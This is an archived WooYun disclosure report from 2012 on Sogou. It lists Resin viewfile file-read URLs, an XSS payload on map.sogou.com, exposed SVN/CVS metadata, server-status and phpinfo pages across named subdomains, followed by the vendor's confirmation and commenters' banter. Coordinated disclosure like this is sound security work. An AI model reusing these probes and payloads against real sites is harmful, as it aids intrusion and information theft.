搜狗敏感信息泄漏一箩筐

漏洞概要

缺陷编号:WooYun-2012-016547

漏洞标题:搜狗敏感信息泄漏一箩筐

相关厂商:搜狗

漏洞作者:疯子

提交时间:2012-12-26 18:55

公开时间:2013-02-09 18:56

漏洞类型:重要敏感信息泄露

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2012-12-26: 细节已通知厂商并且等待厂商处理中
2012-12-29: 厂商已经确认,细节仅向厂商公开
2013-01-08: 细节向核心白帽子及相关领域专家公开
2013-01-18: 细节向普通白帽子公开
2013-01-28: 细节向实习白帽子公开
2013-02-09: 细节向公众公开

简要描述:

sogou多处安全漏洞:
1,Resin配置漏洞
XSS
phpinfo
server-status
svn_entries
cvsroot

详细说明:

1.Resin配置漏洞http://p4p.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xmlhttp://apihome.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xmlhttp://b2b.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xmlhttp://union.sogou.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=fakefile.xml2.XSShttp://apihome.sogou.com/docs.jsp?flag=http://madman.in

http://map.sogou.com/shouji/?prod=--%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,alert(1)%3E%3C/script%3E3.svn_entrieshttp://bbs.agent.sogou.com/.svn/entries通过程序遍历站点结构与代码

4.cvsroothttp://cmail.sogou.com/a/CVS/Roothttp://pinyin.sogou.com/CVS/Root5.apache敏感信息泄露http://yy.sogou.com/server-status

6.phpinfohttp://ie.sogou.com/tools/phpinfo.phphttp://ie.sogou.com/info.php

漏洞证明:

看详情

修复方案:

礼物有木有?

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2012-12-29 21:50

厂商回复:

感谢提供,处理中

最新状态:

暂无

评价

  1. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    我是来看箩筐的。。

  2. 2010-01-01 00:00 疯子 白帽子 | Rank:254 漏洞数:39)

    这谁啊,给我补的好齐全,[email protected]?还是你们的审核人员 大爱啊

  3. 2010-01-01 00:00 疯狗 白帽子 | Rank:22 漏洞数:2)

    @疯子 你猜呢,下次一定要尽量写全啊

  4. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @疯子 @疯狗 尼玛,双胞胎啊。。。

  5. 2010-01-01 00:00 无敌L.t.H 白帽子 | Rank:21 漏洞数:4)

    @疯子 xsser总是会补全的。自己补全的话知道得太多了。